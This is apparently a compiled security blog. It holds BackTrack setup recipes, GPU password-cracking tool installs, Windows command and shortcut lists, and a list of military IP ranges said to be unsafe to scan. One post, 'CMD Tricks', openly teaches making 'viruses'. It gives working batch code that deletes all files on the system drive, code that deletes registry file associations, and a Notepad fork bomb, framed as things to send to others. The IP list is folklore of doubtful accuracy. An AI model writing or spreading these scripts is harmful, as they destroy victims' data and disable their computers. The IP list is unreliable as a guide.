Information Security And Ethical Hacking

CEH v9 : Certified Ethical Hacker v9 PDFs & Tols Download

2017-07-03T02:46:00.000+05:30

Download Certified Ethical Hacker (CEHv9) PDFs & Tools free.

CEHv9 : Certified Ethical Hacker v9 Ebook Module Download

CEHv9 : Certified Ethical Hacker v9 Tools Download

You may also download Lab Prerequisites

CEHv9 Lab Prerequisites.zip

Red Hat Linux Reference Guide

2017-06-19T06:03:00.003+05:30

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CEH Official Certified Ethical Hacker Review Guide

2017-06-18T02:35:00.001+05:30

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Reversing: Secrets of Reverse Engineering by Eldad Eilam

2017-06-18T02:24:00.000+05:30

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CEHv6 Certified Ethical Hacker Study Guide by Kimberly Graves

2017-06-07T02:32:00.003+05:30

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Glossary of Computer World

2017-02-10T13:13:00.002+05:30

Allocation Unit The smallest space that DOS can access on a Disk. The size of these is dependent on the size of disk and the type of FAT used
APPEND Allows programs to open data files in specified directories as if they were in the current directory
ASCII American Standard Code for Information Exchange
ASSIGN Redirects requests for disk operations on one drive to a different drive
ATM Automated Teller Machine - A special purpose transaction machine use to provide remote baking service
ATTRIB Displays or changes file attributes
ATTRIBUTES A text file used by the system at startup
AUTOEXEC.BAT A text file used by the system at startup
BACKUP Backs up one or more files from one disk to another
BASIC Beginners All purpose Symbolic Instruction Code. A programming language

Run Command For Windows

2016-10-29T04:31:00.000+05:30

Run commands for windows

To Access…	Run Command
Accessibility Controls	access.cpl
Accessibility Wizard	accwiz
Add Hardware Wizard	hdwwiz.cpl
Add/Remove Programs	appwiz.cpl
Certificate Manager	certmgr.msc
Component Services	dcomcnfg
Computer Management	compmgmt.msc
Device Manager	devmgmt.msc
Disk Defragment	dfrg.msc
Disk Management	diskmgmt.msc
Disk Partition Manager	diskpart
Display Properties	control desktop

Display Properties	desk.cpl
Event Viewer	eventvwr.msc
Group Policy Editor (XP Prof)	gpedit.msc
HyperTerminal	hypertrm
IP Configuration (Display Connection Configuration)	ipconfig /all
IP Configuration (Display DNS Cache Contents)	ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)	ipconfig /flushdns
IP Configuration (Release All Connections)	ipconfig /release
IP Configuration (Renew All Connections)	ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)	ipconfig /registerdns
IP Configuration (Display DHCP Class ID)	ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID)	ipconfig /setclassid
Local Security Settings	secpol.msc
Local Users and Groups	lusrmgr.msc
Netmeeting	conf
Network Connections	ncpa.cpl
Network Setup Wizard	netsetup.cpl
Password Properties	password.cpl
Remote Desktop	mstsc
Services	services.msc
Shared Folders	fsmgmt.msc
System Configuration Editor	sysedit
System Configuration Utility	msconfig
System File Checker Utility (Scan Immediately)	sfc /scannow

System Information	msinfo32
System Properties	sysdm.cpl
Task Manager	taskmgr
TCP Tester	tcptest
Telnet Client	telnet
User Account Management	nusrmgr.cpl
Utility Manager	utilman
Windows Firewall	firewall.cpl

CMD Tricks

2016-10-29T03:36:00.000+05:30

How to create Virus using CMD or Command Prompt?

Hey guys today am going to teach you that how you can create virus using command prompt.
guys be careful, don't do it in your system, and am not responsible for any damage of your system.

1. The blue screen of Death [this might be dangerous]

The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install your windows again

CODE:-

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

2. Stupidity Shutdown

This pops up a funny message then will shutdown the computer

CODE:-

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10

3. Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]

This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)

CODE:-

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

4. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes*

CODE:-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

5. Crazy caps lock

This constantly turns caps lock on and off really fast continuously*

CODE:-

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

6. Endless Enter

This constantly makes it so the enter button is being pressed continuesly*

CODE:-

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

7. Endless Backspace

This makes it so the backspace key is constantly being pressed*

CODE:-

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

8. Popping CD Drives

This will make the CD drives constantly pop out*

CODE:-

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

Windows Shortcuts That Mostly Girls Don't Know

2016-01-09T15:07:00.000+05:30

Windows system key combinations

F1: Help
CTRL+ESC: Open Start menu
ALT+TAB: Switch between open programs
ALT+F4: Quit program
SHIFT+DELETE: Delete item permanently
Windows Logo+L: Lock the computer (without using CTRL+ALT+DELETE)

Windows program key combinations

CTRL+C: Copy
CTRL+X: Cut
CTRL+V: Paste
CTRL+Z: Undo
CTRL+B: Bold
CTRL+U: Underline
CTRL+I: Italic

Mouse click/keyboard modifier combinations for shell objects

SHIFT+right click: Displays a shortcut menu containing alternative commands
SHIFT+double click: Runs the alternate default command (the second item on the menu)
ALT+double click: Displays properties
SHIFT+DELETE: Deletes an item immediately without placing it in the Recycle Bin

General keyboard-only commands

F1: Starts Windows Help
F10: Activates menu bar options
SHIFT+F10 Opens a shortcut menu for the selected item (this is the same as right-clicking an object
CTRL+ESC: Opens the Start menu (use the ARROW keys to select an item)
CTRL+ESC or ESC: Selects the Start button (press TAB to select the taskbar, or press SHIFT+F10 for a context menu)
CTRL+SHIFT+ESC: Opens Windows Task Manager
ALT+DOWN ARROW: Opens a drop-down list box
ALT+TAB: Switch to another running program (hold down the ALT key and then press the TAB key to view the task-switching window)
SHIFT: Press and hold down the SHIFT key while you insert a CD-ROM to bypass the automatic-run feature
ALT+SPACE: Displays the main window's System menu (from the System menu, you can restore, move, resize, minimize, maximize, or close the window)
ALT+- (ALT+hyphen): Displays the Multiple Document Interface (MDI) child window's System menu (from the MDI child window's System menu, you can restore, move, resize, minimize, maximize, or close the child window)
CTRL+TAB: Switch to the next child window of a Multiple Document Interface (MDI) program
ALT+underlined letter in menu: Opens the menu
ALT+F4: Closes the current window
CTRL+F4: Closes the current Multiple Document Interface (MDI) window
ALT+F6: Switch between multiple windows in the same program (for example, when the Notepad Finddialog box is displayed, ALT+F6 switches between the Find dialog box and the main Notepad window)

Shell objects and general folder/Windows Explorer shortcuts

For a selected object:

F2: Rename object
F3: Find all files
CTRL+X: Cut
CTRL+C: Copy
CTRL+V: Paste
SHIFT+DELETE: Delete selection immediately, without moving the item to the Recycle Bin
ALT+ENTER: Open the properties for the selected object

To copy a file

Press and hold down the CTRL key while you drag the file to another folder.

To create a shortcut

Press and hold down CTRL+SHIFT while you drag a file to the desktop or a folder.

General folder/shortcut control

F4: Selects the Go To A Different Folder box and moves down the entries in the box (if the toolbar is active in Windows Explorer)
F5: Refreshes the current window.
F6: Moves among panes in Windows Explorer
CTRL+G: Opens the Go To Folder tool (in Windows 95 Windows Explorer only)
CTRL+Z: Undo the last command
CTRL+A: Select all the items in the current window
BACKSPACE: Switch to the parent folder
SHIFT+click+Close button: For folders, close the current folder plus all parent folders

Windows Explorer tree control

Numeric Keypad *: Expands everything under the current selection
Numeric Keypad +: Expands the current selection
Numeric Keypad -: Collapses the current selection.
RIGHT ARROW: Expands the current selection if it is not expanded, otherwise goes to the first child
LEFT ARROW: Collapses the current selection if it is expanded, otherwise goes to the parent

Properties control

CTRL+TAB/CTRL+SHIFT+TAB: Move through the property tabs

Accessibility shortcuts

Press SHIFT five times: Toggles StickyKeys on and off
Press down and hold the right SHIFT key for eight seconds: Toggles FilterKeys on and off
Press down and hold the NUM LOCK key for five seconds: Toggles ToggleKeys on and off
Left ALT+left SHIFT+NUM LOCK: Toggles MouseKeys on and off
Left ALT+left SHIFT+PRINT SCREEN: Toggles high contrast on and off

Microsoft Natural Keyboard keys

Windows Logo: Start menu
Windows Logo+R: Run dialog box
Windows Logo+M: Minimize all
SHIFT+Windows Logo+M: Undo minimize all
Windows Logo+F1: Help
Windows Logo+E: Windows Explorer
Windows Logo+F: Find files or folders
Windows Logo+D: Minimizes all open windows and displays the desktop
CTRL+Windows Logo+F: Find computer
CTRL+Windows Logo+TAB: Moves focus from Start, to the Quick Launch toolbar, to the system tray (use RIGHT ARROW or LEFT ARROW to move focus to items on the Quick Launch toolbar and the system tray)
Windows Logo+TAB: Cycle through taskbar buttons
Windows Logo+Break: System Properties dialog box
Application key: Displays a shortcut menu for the selected item

Microsoft Natural Keyboard with IntelliType software installed

Windows Logo+L: Log off Windows
Windows Logo+P: Starts Print Manager
Windows Logo+C: Opens Control Panel
Windows Logo+V: Starts Clipboard
Windows Logo+K: Opens Keyboard Properties dialog box
Windows Logo+I: Opens Mouse Properties dialog box
Windows Logo+A: Starts Accessibility Options (if installed)
Windows Logo+SPACEBAR: Displays the list of Microsoft IntelliType shortcut keys
Windows Logo+S: Toggles CAPS LOCK on and off

Dialog box keyboard commands

TAB: Move to the next control in the dialog box
SHIFT+TAB: Move to the previous control in the dialog box
SPACEBAR: If the current control is a button, this clicks the button. If the current control is a check box, this toggles the check box. If the current control is an option, this selects the option.
ENTER: Equivalent to clicking the selected button (the button with the outline)
ESC: Equivalent to clicking the Cancel button
ALT+underlined letter in dialog box item: Move to the corresponding item

Installing and configuring NVIDIA video card drivers

2016-01-09T14:55:00.000+05:30

In this , we will embrace CUDA, the NVIDIA parallel computing architecture. The first step will be the installation of the NVIDIA developer display driver followed by the installation of the CUDA toolkit. This will provide us with a dramatic increase in computer performance with the power of the GPU, which will be used in scenarios such as password cracking.

The following requirements need to be fulfilled:

1. An Internet connection is required to complete this recipe

2. The preparation of the kernel headers is needed before starting this task, which is explained in the Preparing kernel headers recipe at the beginning of this chapter

3. In order to accomplish the installation of the NVIDIA driver, the X session needs to be shut down

How to do it...

Let's begin the process of installing and configuring the NVIDIA video card driver:

1. Download the NVIDIA developer display driver according to your CPU architecture:

cd /tmp/

wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/driv ers/NVIDIA-Linux-x86_64-285.05.33.run

2. Install the driver:

chmod +x NVIDIA-Linux-x86_64-285.05.33.run

./NVIDIA-Linux-x86_64-285.05.33.run –kernel-source-path='/usr/src/linux'

3. Download the CUDA toolkit:

wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/tool kit/cudatoolkit_4.1.28_linux_64_ubuntu11.04.run

4. Install the CUDA toolkit to /opt:

chmod +x cudatoolkit_4.1.28_linux_64_ubuntu11.04.run

./cudatoolkit_4.1.28_linux_64_ubuntu11.04.run

5. Configure the environment variables required for nvcc to work:

echo PATH=$PATH:/opt/cuda/bin >> ~/.bashrc

echo LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/cuda/lib >> ~/.bashrc

echo export PATH >> ~/.bashrc

echo export LD_LIBRARY_PATH >> ~/.bashrc

6. Run the following command to make the variables take effect:

source ~/.bashrc

ldconfig

7. Install Pyrit dependencies:

apt-get install libssl-dev python-dev python-scapy

8. Download and install the GPU powered tool, Pyrit:

svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src

cd pyrit_src/pyrit

python setup.py build

python setup.py install

9. Finally, add the NVIDIA GPU module to Pyrit:

cd /tmp/pyrit_src/cpyrit_cuda

python setup.py build

python setup.py install

Installing and configuring ATI video card drivers

2016-01-09T14:49:00.002+05:30

In this, we'll go into the details for installing and configuring the ATI video card driver, followed by the AMD Accelerated Parallel Processing (APP) SDK, CAL++, and OpenCL. Taking advantage of the ATI Stream Technology, we can run computationally-intensive tasks, typically running on the CPU, more quickly and efficiently. For more detailed information regarding the ATI Stream technology, visit www.amd.com/stream.

The following requirements need to be fulfilled:

· A connection to the Internet is required to complete this recipe

· The preparation of the kernel headers is needed before starting this task, which is explained in the Preparing kernel headers recipe at the beginning of this chapter

How to do it...

Let's begin installing and configuring the ATI drivers:

1. Download the ATI display driver required for our system:

cd /tmp/

wget http://www2.ati.com/drivers/linux/amd-driver-installer- 12-1-x86.x86_64.run

2. Start the installation by typing the following command:

sh amd-driver-installer-12-1-x86.x86_64.run

3. When the setup completes, reboot your system for the changes to take effect and to prevent system instability.

4. Install the dependencies needed for further steps:

apt-get install libroot-python-dev libboost-python-dev libboost1.40-all-dev cmake

5. Download and untar the AMD APP SDK according to your CPU architecture:

wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.6- lnx64.tgz

mkdir AMD-APP-SDK-v2.6-lnx64

tar zxvf AMD-APP-SDK-v2.6-lnx64.tgz –C /tmp/AMD-APP-SDK-v2.6- lnx64

cd AMD-APP-SDK-v2.6-lnx64

6. Install AMD APP SDK by issuing the following command:

sh Install-AMD-APP.sh

7. Set the ATI Stream paths into the .bashrc file:

echo export ATISTREAMSDKROOT=/opt/AMDAPP/ >> ~/.bashrc

source ~/.bashrc

8. Download and compile CAL++:

cd /tmp/

svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp

cd calpp/trunk

cmake

make

make install

9. Download and compile Pyrit:

cd /tmp/

svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src

cd pyrit_src/pyrit

python setup.py build

python setup.py install

10. Build and install OpenCL:

cd /tmp/pyrit_src/cpyrit_opencl

python setup.py build

python setup.py install

11. Make a few changes to the cpyrit_calpp setup:

cd /tmp/pyrit_source/cpyrit_calpp

vi setup.py

Replace the following line:

VERSION = '0.4.0-dev'

With:

VERSION = '0.4.1-dev'

And also the following line:

CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include'))

With:

CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include/CAL'))

12. Finally, add the ATI GPU module to Pyrit:

python setup.py build

python setup.py install

Directory encryption (By using Truecrypt)

2015-10-30T12:07:00.002+05:30

The last recipe of this chapter will be about information privacy. We will use TrueCrypt to hide important and secret digital information from public eyes with encryption keys.

How to do it...

Let's perform the following steps:

1. 1. Install TrueCrypt by clicking on the Applications menu and navigating to BackTrack | Forensics | Digital Anti Forensics | install truecrypt. Click on Install TrueCrypt and follow the onscreen directions:

1. 2. Launch TrueCrypt from Applications | BackTrack | Forensics | Digital Anti Forensics | truecrypt to find a window similar to the following screenshot:

3. Click on Create Volume to start TrueCrypt Volume Creation Wizard.

4. Leave the default option and click on Next.

5. Select Standard TrueCrypt volume and click on Next.

6. Click on the Select File… button and specify a name and location for the new TrueCrypt volume. Click on Save when done:

7. Click on the Next button and select the encryption and hash algorithm we want to use.

8. In the next screen, we'll specify the amount of space we want for the container.

9. Now, we need to type the password for our volume. Once done, click on Next.

10. Choose the filesystem type.

11. Select the cross-platform support depending on your needs.

12. At the next screen, the wizard asks us to move around the mouse within the window to increase the cryptographic strength of the encryption keys. When done, click on the Format button.

13. The formatting will start and ends with the creation of the TrueCrypt volume. Click on OK and Exit.

14. We're now back to the TrueCrypt window.

15. To decrypt our volume, pick a slot from the list, click on Select File…, and open our created volume.

16. Click on Mount and type your password. Click on OK when done:

17. We can now access the volume by double-clicking on the slot or through the mount directory. Save files in it and when finished, simply click on Dismount All.

Setting up ProxyChains in Backtrack

2015-10-30T11:53:00.005+05:30

ProxyChains is a program that allows us to force any TCP connection made by an application through a proxy. In this recipe, we will be discussing the task of breaking the direct connection between the receiver and the sender by forcing the connection of given applications through a user-defined list of proxies.

How to do it...

Let's begin the process of setting up ProxyChains:

1. Open the ProxyChains configuration file:

vim /etc/proxychains.conf

2. Uncomment the chaining type we want to use, in this case dynamic_chain:

3. Add some proxy servers to the list:

4. Resolve the target host through our chained proxies:

proxyresolv www.targethost.com

5. Now we can run ProxyChains through the application we want to use. For example:

proxychains msfconsole

Applying updates and configuring extra security tools in Backtrack

2015-10-30T11:48:00.003+05:30

In this recipe, we will cover the process of updating BackTrack and configuring some extra tools, which will be useful in later chapters and recipes. As BackTrack packages are constantly updated between releases, you will soon find that a newer set of tools are available than what were originally downloaded on your DVD ROM. We will dive into updating our installation, obtaining an activation code for Nessus, and concluding with installing Squid.

How to do it...

Let's begin the process of applying updates and configuring extra security tools:

1. Update the local package index with the latest changes made in the repositories:

apt-get update

2. Upgrade existing packages:

apt-get upgrade

3. Upgrade to the new version (if available):

apt-get dist-upgrade

4. Obtain an activation code for Nessus by registering at the following website:

http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code

5. Activate Nessus by executing the following command:

/opt/nessus/bin/nessus-fetch --register A60F-XXXX-XXXX-XXXX-0006

Where A60F-XXXX-XXXX-XXXX-0006 should be your activation code.

6. Create a user account for the Nessus web interface:

/opt/nessus/sbin/nessus-adduser

7. To start the Nessus server, we simply invoke the following command:

/etc/init.d/nessusd start

8. Install Squid:

apt-get install squid3

9. Remove Squid from starting up automatically at boot time:

update-rc.d -f squid3 remove

Installing Broadcom drivers in Backtrack

2015-10-30T11:41:00.005+05:30

In this , we'll perform the installation of the official Broadcom hybrid Linux wireless driver. Using a Broadcom wireless USB adapter gives us the greatest possibility of success in terms of getting our wireless USB access point to work on BackTrack 5. For the rest of the recipes in this book, we will assume installation of the Broadcom wireless drivers.

An Internet connection is required to complete this recipe.

How to do it...

Let's begin the process of installing the Broadcom drivers:

1. Open a terminal window and download the appropriate Broadcom driver from http://www.broadcom.com/support/802.11/linux_sta.php:

cd /tmp/wget http://www.broadcom.com/docs/linux_sta/hybri-portsrc_x86_64-v5_100_82_112.tar.gz

2. Extract the downloaded driver by using the following script:

mkdir broadcom

tar xvfz hybrid-portsrc_x86_64-v5_100_82_112.tar.gz -C /tmp/broadcom

3. Modify the wl_cfg80211.c file as there's a bug in version 5.100.82.112 that prevents compiling the code under kernel version 2.6.39:

vim /tmp/broadcom/src/wl/sys/wl_cfg80211.c

In the file, the following line at line number 1814 needs to be replaced:

#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 39)

It needs to be replaced with:

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 39)

Once done, save the changes.

4. Compile the code:

make clean

make

make install

5. Update the dependencies:

depmod -a

6. Find loaded modules by issuing the following command:

lsmod | grep b43\|ssb\|bcma

7. Remove the modules found by executing the following command:

rmmod <module>b43

Where <module> could be: b43 or ssb or bcma.

8. Blacklist the modules to prevent them from loading at system startup:

echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf

Where <module> could be: b43 or ssb or bcma or wl.

9. Finally, add the new module to the Linux kernel to make it part of the boot process:

modprobe wl

Preparing kernel headers

2015-10-30T11:38:00.003+05:30

There will be occasional times where we'll face the need to compile code, which requires the kernel headers. Kernel headers are the source code of the Linux kernel. In this first recipe, we'll explain the steps required to accomplish the task of preparing the kernel headers for compilation.

Getting ready

A connection to the Internet is required to complete this recipe.

How to do it...

Let's begin the process of preparing the kernel headers:

1. Execute the following script to prepare the kernel sources:

prepare-kernel-sources

2. Copy the following directory and its entire contents:

cd /usr/src/linux

cp -rf include/generated/* include/linux/

3. Now we're ready to compile code that requires the kernel headers.

Setting up the wireless network in Backtrack

2015-10-22T09:59:00.001+05:30

The advantages of setting up our wireless network is that it enables us to use BackTrack wirelessly. In a true, ethical, penetration test, not having to depend on an Ethernet cable enables us to have all of the freedoms of a regular desktop.

How to do it...

Let's begin setting up the wireless network:

1. From the desktop, start the network manager by clicking on the Applications menu and navigating to Internet | Wicd Network Manager, or by issuing the following command at the Terminal window:

wicd-gtk --no-tray

2. Wicd Network Manager will open with a list of available networks:

3. Click on the Properties button to specify the network details. When done, click on OK:

4. Finally, click on the Connect button. We're ready to go!

Starting network services in Backtrack

2015-09-25T15:15:00.007+05:30

BackTrack comes with several network services, which may be useful in various situations and are disabled by default. In this recipe, we will cover the steps to set up and start each service using various methods.

Getting ready

A connection to the network with a valid IP address is needed in order to continue.

How to do it...

Let's begin the process of starting our default service:

1. Start the Apache web server:

service apache2 start

We can verify the server is running by browsing to the localhost address.

2. To start the SSH service, SSH keys need to be generated for the first time:

sshd-generate

3. Start the Secure Shell server:

service ssh start

4. To verify the server is up and listening, use the netstat command:

netstat -tpan | grep 22

5. Start the FTP server:

service pure-ftpd start

6. To verify the FTP server, use the following command:

netstat -ant | grep 21

7. To stop a service, just issue the following command:

service <servicename> stop

Here, <servicename> stands for the network service we want to stop. For example:

service apache2 stop

8. To enable a service at boot time, use the following command:

update-rc.d –f <servicename> defaults

Here, <servicename> stands for the network service we want at boot time. For example:

update-rc.d –f ssh defaults

Changing the root password in Linux

2015-09-05T17:39:00.000+05:30

For security reasons, it's recommended as a good practice to always change the default root password. This would not prevent a malicious user obtaining access to our system, but surely will make things harder.

How to do it...

To change the default root password, just issue the following command:

passwd

Enter you new password and press Enter. You will also be asked to retype your password:

Installing BackTrack to a USB drive with persistent memory

2015-08-01T19:49:00.001+05:30

Having a BackTrack USB drive provides us with the ability to persistently save system settings and permanently update and install new software packages onto the USB device, allowing us to carry our own personalized BackTrack with us at all times.

Thanks to open source tools such as UNetbootin, we can create a bootable Live USB drive of a vast majority of Linux distributions, including BackTrack with persistent storage.

The following tools and preparation are needed in order to continue:

· A FAT32 formatted USB drive with a minimum capacity of 8 GB

· A BackTrack ISO image

· UNetbootin (unetbootin.sourceforge.net/unetbootin-windows-latest. exe)

· You can download BackTrack 5 from http://www.backtrack-linux.org/ downloads/

Let's begin the process of installing BackTrack 5 to a USB drive:

1. Insert our previously formatted USB drive:

2. Start UNetbootin as administrator.

3. Choose the Diskimage option and select the location of the BackTrack DVD ISO image:

4. Set the amount of space to be used for persistence. We're going to use 4096 MB for our 8 GB USB thumb drive:

5. Select our USB drive and click on the OK button to start creating the bootable USB drive.

6. The process will take some time to complete while it extracts and copies the DVD files to the USB and installs the Bootloader:

7. The installation is complete and we're ready to reboot the computer and boot from the newly created BackTrack USB drive with persistent memory:

Installing BackTrack to a hard disk drive

2015-08-01T19:10:00.002+05:30

The installation to a disk drive is one of the most basic operations. The achievement of this task will let us run BackTrack at full speed without the DVD.

Before explaining the procedure, the following requirement needs to be met:

· A minimum of 25 GB of free disk space

· A BackTrack Live DVD

Let's begin the installation. Insert and boot the BackTrack Live DVD.

1. When the desktop environment finishes loading, double-click on Install BackTrack to run the installation wizard:

2. Select your language and click on the Forward button.

3. Select your geographical location and click on Forward:

4. Choose your keyboard layout and click on Forward to continue to the next step:

5. Leave the default option, which will erase and use the entire disk. Click on the Forward button one more time:

6. The installation summary will appear. Check whether the settings are correct and click on the Install button to begin:

7. The installer will start and in a few minutes will be completed:

8. Finally, the installation will be complete and you'll be ready to start BackTrack without the install DVD. Click on Restart Now to reboot your computer. To log in, use the default username root and password toor.

Don't Scan These IP's You Will Be Hacked

2015-07-16T15:15:00.000+05:30

IP Ranges:

CODE

RANGE 6
6.* - Army Information Systems Center

RANGE 7
7.*.*.* Defense Information Systems Agency, VA

RANGE 11
11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency, Washington DC

RANGE 21
21. - US Defense Information Systems Agency

RANGE 22
22.* - Defense Information Systems Agency

RANGE 24
24.198.*.*

RANGE 25
25.*.*.* Royal Signals and Radar Establishment, UK

RANGE 26
26.* - Defense Information Systems Agency

RANGE 29
29.* - Defense Information Systems Agency

RANGE 30
30.* - Defense Information Systems Agency

RANGE 49
49.* - Joint Tactical Command

RANGE 50
50.* - Joint Tactical Command

RANGE 55
55.* - Army National Guard Bureau

RANGE 55
55.* - Army National Guard Bureau

RANGE 62
62.0.0.1 - 62.30.255.255 Do not scan!

RANGE 64
64.70.*.* Do not scan
64.224.* Do not Scan
64.225.* Do not scan
64.226.* Do not scan

RANGE 128
128.37.0.0 Army Yuma Proving Ground
128.38.0.0 Naval Surface Warfare Center
128.43.0.0 Defence Research Establishment-Ottawa
128.47.0.0 Army Communications Electronics Command
128.49.0.0 Naval Ocean Systems Center
128.50.0.0 Department of Defense
128.51.0.0 Department of Defense
128.56.0.0 U.S. Naval Academy
128.60.0.0 Naval Research Laboratory
128.63.0.0 Army Ballistics Research Laboratory
128.80.0.0 Army Communications Electronics Command
128.98.0.0 - 128.98.255.255 Defence Evaluation and Research Agency
128.102.0.0 NASA Ames Research Center
128.149.0.0 NASA Headquarters
128.154.0.0 NASA Wallops Flight Facility
128.155.0.0 NASA Langley Research Center
128.156.0.0 NASA Lewis Network Control Center
128.157.0.0 NASA Johnson Space Center
128.158.0.0 NASA Ames Research Center
128.159.0.0 NASA Ames Research Center
128.160.0.0 Naval Research Laboratory
128.161.0.0 NASA Ames Research Center
128.183.0.0 NASA Goddard Space Flight Center
128.190.0.0 Army Belvoir Reasearch and Development Center
128.202.0.0 50th Space Wing
128.216.0.0 MacDill Air Force Base
128.217.0.0 NASA Kennedy Space Center
128.236.0.0 U.S. Air Force Academy

RANGE 129
129.23.0.0 Strategic Defense Initiative Organization
129.29.0.0 United States Military Academy
129.50.0.0 NASA Marshall Space Flight Center
129.51.0.0 Patrick Air Force Base
129.52.0.0 Wright-Patterson Air Force Base
129.53.0.0 - 129.53.255.255 66SPTG-SCB
129.54.0.0 Vandenberg Air Force Base, CA
129.92.0.0 Air Force Institute of Technology
129.99.0.0 NASA Ames Research Center
129.131.0.0 Naval Weapons Center
129.139.0.0 Army Armament Research Development and Engineering Center
129.141.0.0 85 MISSION SUPPORT SQUADRON/SCSN
129.163.0.0 NASA/Johnson Space Center
129.164.0.0 NASA IVV
129.165.0.0 NASA Goddard Space Flight Center
129.166.0.0 NASA - John F. Kennedy Space Center
129.167.0.0 NASA Marshall Space Flight Center
129.168.0.0 NASA Lewis Research Center
129.190.0.0 Naval Underwater Systems Center
129.198.0.0 Air Force Flight Test Center
129.209.0.0 Army Ballistics Research Laboratory
129.229.0.0 U.S. Army Corps of Engineers
129.251.0.0 United States Air Force Academy

RANGE 130
130.40.0.0 NASA Johnson Space Center
130.90.0.0 Mather Air Force Base
130.109.0.0 Naval Coastal Systems Center
130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity
130.124.0.0 Honeywell Defense Systems Group
130.165.0.0 U.S.Army Corps of Engineers
130.167.0.0 NASA Headquarters

RANGE 131
131.3.0.0 - 131.3.255.255 Mather Air Force Base
131.6.0.0 Langley Air Force Base
131.10.0.0 Barksdale Air Force Base
131.17.0.0 Sheppard Air Force Base
131.21.0.0 Hahn Air Base
131.22.0.0 Keesler Air Force Base
131.24.0.0 6 Communications Squadron
131.25.0.0 Patrick Air Force Base
131.27.0.0 75 ABW
131.30.0.0 62 CS/SCSNT
131.32.0.0 37 Communications Squadron
131.35.0.0 Fairchild Air Force Base
131.36.0.0 Yokota Air Base
131.37.0.0 Elmendorf Air Force Base
131.38.0.0 Hickam Air Force Base
131.39.0.0 354CS/SCSN
131.40.0.0 Bergstrom Air Force Base
131.44.0.0 Randolph Air Force Base
131.46.0.0 20 Communications Squadron
131.47.0.0 Andersen Air Force Base
131.50.0.0 Davis-Monthan Air Force Base
131.52.0.0 56 Communications Squadron /SCBB
131.54.0.0 Air Force Concentrator Network
131.56.0.0 Upper Heyford Air Force Base
131.58.0.0 Alconbury Royal Air Force Base
131.59.0.0 7 Communications Squadron
131.61.0.0 McConnell Air Force Base
131.62.0.0 Norton Air Force Base
131.71.0.0 - 131.71.255.255 NAVAL AVIATION DEPOT CHERRY PO
131.74.0.0 Defense MegaCenter Columbus
131.84.0.0 Defense Technical Information Center
131.92.0.0 Army Information Systems Command - Aberdeen (EA)
131.105.0.0 McClellan Air Force Base
131.110.0.0 NASA/Michoud Assembly Facility
131.120.0.0 Naval Postgraduate School
131.121.0.0 United States Naval Academy
131.122.0.0 United States Naval Academy
131.176.0.0 European Space Operations Center
131.182.0.0 NASA Headquarters
131.250.0.0 Office of the Chief of Naval Research

RANGE 132
132.3.0.0 Williams Air Force Base
132.5.0.0 - 132.5.255.255 49th Fighter Wing
132.6.0.0 Ankara Air Station
132.7.0.0 - 132.7.255.255 SSG/SINO
132.9.0.0 28th Bomb Wing
132.10.0.0 319 Comm Sq
132.11.0.0 Hellenikon Air Base
132.12.0.0 Myrtle Beach Air Force Base
132.13.0.0 Bentwaters Royal Air Force Base
132.14.0.0 Air Force Concentrator Network
132.15.0.0 Kadena Air Base
132.16.0.0 Kunsan Air Base
132.17.0.0 Lindsey Air Station
132.18.0.0 McGuire Air Force Base
132.19.0.0 100CS (NET-MILDENHALL)
132.20.0.0 35th Communications Squadron
132.21.0.0 Plattsburgh Air Force Base
132.22.0.0 23Communications Sq
132.24.0.0 Dover Air Force Base
132.25.0.0 786 CS/SCBM
132.27.0.0 - 132.27.255.255 39CS/SCBBN
132.28.0.0 14TH COMMUNICATION SQUADRON
132.30.0.0 Lajes Air Force Base
132.31.0.0 Loring Air Force Base
132.33.0.0 60CS/SCSNM
132.34.0.0 Cannon Air Force Base
132.35.0.0 Altus Air Force Base
132.37.0.0 75 ABW
132.38.0.0 Goodfellow AFB
132.39.0.0 K.I. Sawyer Air Force Base
132.40.0.0 347 COMMUNICATION SQUADRON
132.42.0.0 Spangdahlem Air Force Base
132.43.0.0 Zweibruchen Air Force Base
132.45.0.0 Chanute Air Force Base
132.46.0.0 Columbus Air Force Base
132.48.0.0 Laughlin Air Force Base
132.49.0.0 366CS/SCSN
132.50.0.0 Reese Air Force Base
132.52.0.0 Vance Air Force Base
132.54.0.0 Langley AFB
132.55.0.0 Torrejon Air Force Base
